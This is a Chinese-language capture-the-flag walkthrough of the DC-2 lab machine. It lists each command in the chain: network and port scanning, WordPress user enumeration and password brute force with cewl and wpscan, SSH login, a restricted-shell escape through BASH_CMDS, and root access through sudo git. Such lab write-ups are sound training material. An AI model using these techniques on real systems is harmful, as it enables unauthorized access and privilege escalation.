与dc1一样,把dc2的连接模式换成NAT模式,然后重启dc2
在kali攻击机中输入ifconfig查看一下自己的IP地址
然后再输入arp-scan -l来扫描同网段的主机都有哪些
发现有四个IP地址,但是23.1和23.2,23.254不可能是dc2的IP地址,这些地址都留给网关,广播地址之类的,所以可以锁定dc2的IP地址为23.128
使用nmap扫描一下dc2
输入nmap –sV –A –p- 192.168.23.128
发现主机打开了80和7744端口打开的,并且还有apache的中间件,那么我们直接在浏览器访问这个IP地址
等了很长时间最后没有成功进入网站,并且看到上面的地址栏变为dc-2了,说明dc2的IP地址(192.168.23.128)被自动转换为dc-2这个域名了,但是我们攻击机没有办法将dc2的IP地址(192.168.23.128)转换为域名dc-2,所以我们需要手动在本地添加
输入vim /etc/hosts 编辑hosts文件,添加192.168.23.128 dc-2,然后保存退出
hosts是本地域名解析文件,当浏览器拿到一个域名,会优先去本地查找域名解析,看看域名对应的IP是啥
可以看一下hosts,输入cat /etc/hosts
发现已经将dc2的IP地址和dc-2域名对应上了
我们再次打开浏览器,输入dc2的IP来访问一下
发现成功访问,并且还有一个flag,可以点进去看一下,大概意思就是让我们以一个身份登录一下,如果不成功换另一个身份
但现在我们找不到dc-2的登录页面在哪,可以利用工具nikto来扫描一下
输入nikto -h 192.168.23.128
-h 指定url
nikto这个工具有子域名猜测,目录,检测等功能
发现/wp-login.php这个url,我们拼接上dc2的IP地址,来访问这个url
在浏览器输入192.168.23.128/wp-login.php
发现登录页面,我们可以利用cewl工具来生成一个跟dc-2网站相关的密码
在终端输入cewl dc-2 -w dc-2.dic
dc-2代表dc-2这个网站
-w dc-2.dic表示将生成的密码存在dc-2.dic文件中
可以输入ls看一下
然后我们需要利用工具wpscan来扫描dc-2网站的用户都有哪些
输入wpscan - -url http://dc-2 -e u
--url 表示要攻击的网址
-e u表示要将用户枚举
发现扫描到三个用户,然后我们用wpscan来爆破这个网站
先来爆破第一个用户admin
输入wpscan - -url dc-2 -P dc-2.dic -U admin
--url 指定网址
-P 指定密码字典,也就是刚才用cewl生成的密码字典
-U 指定用户admin
发现没有找到密码,接下来再尝试一下tom用户
输入wpscan - -url dc-2 -P dc-2.dic -U tom
发现爆破成功,我们继续爆破剩下的一个账号
输入wpscan - -url dc-2 -P dc-2.dic -U jerry
又爆破成功,现在拿着账号密码去登录一下
先登录tom试试
输入完账号密码提示错误,说明tom登不进去,再试试另一个账号密码
输入完后成功进入,看到旁边的各种按钮,都点一点
最后在这个位置发现flag2,点击查看一下
希望我们找到另一个切入点,那我们得换个攻击方式,还记得在我们使用nmap扫描的时候,dc2开放的7744端口吧,ssh的端口,那我们可以尝试利用ssh连接一下
先用tom连接一下试试
输入ssh tom@192.168.23.128 -p 7744
-p就是指定端口,因为ssh的默认端口不是7744所以这里我们需要指定一下
然后成功进入tom,我们看一下当前目录都有什么
输入ls
发现flag3,查看一下
输入cat flag3
发现没有这个命令,那么从这可以猜想到,这个tom用户受到了rbash的限制了,不过刚才看到当前目录下还有一个usr文件,我们可以看一下里面有什么
输入ls usr
有一个bin目录,里面应该放的我们可以执行的命令,我们查看一下
输入 ls /usr/bin
发现我们只有四个命令可以用,我们可以利用vi命令来编辑刚才看到的flag3
输入vi flag3.txt
大概意思就是汤姆总是追着杰瑞跑,大概就是 想让我们切换用户,从tom换到jerry用户,但我们被限制了,没有su命令,无法切换,所以现在我们需要绕过rbash
输入BASH_CMDS[a]=/bin/sh;a
这个命令的大致意思就是定义一个a将/bin/sh赋给a然后再执行a,从而绕过限制,直接执行系统根目录下的sh也就是终端,这个终端是不受限制的,可以执行别的命令
这时我们需要添加变量,先查看一下当前的变量都有什么
输入echo $PATH
指向了只有四个命令的文件夹,所以我们可以使用的命令很少,所以现在我们要添加变量让我们可以执行的命令变多
输入export PATH=$PATH:/bin/
Export PATH=$PSTH:/usr/bin
可以再查看一下变量
输入echo $PATH
发现添加成功变量,现在尝试切换用户
输入su jerry
输入刚才破解的密码
成功切换用户,不过我们现在在tom的主目录下,没有权限访问,所以我们需要回到自己的家目录
输入 cd即可
看一下当前目录下有什么东西
输入ls
发现flag4,查看一下
输入cat flag4.txt
提示我们需要找到最终的flag,并且让我们离开这里,说明最终flag不在这里,盲猜在/root下,但是我们又没有权限,需要提权,所以我们现在查看一下当前账号可以执行的sudo权限的命令有什么
输入sudo -l
发现git,也就是我们可以利用git来实现提权
输入sudo git -p help config
发现这个界面左下角可以输入命令,我们直接输入!/bin/sh就可以获得root权限,因为我们是通过sudo进来的所以这个命令打开的终端就是root的终端
输入完后,我们可以看一下当前用户是谁
输入whoami
已经拿到root权限,最后去获得最终flag
输入ls /root看看root下有什么
发现最终flag,利用cat查看一下
输入cat /root/final-flag.txt
成功通关dc-2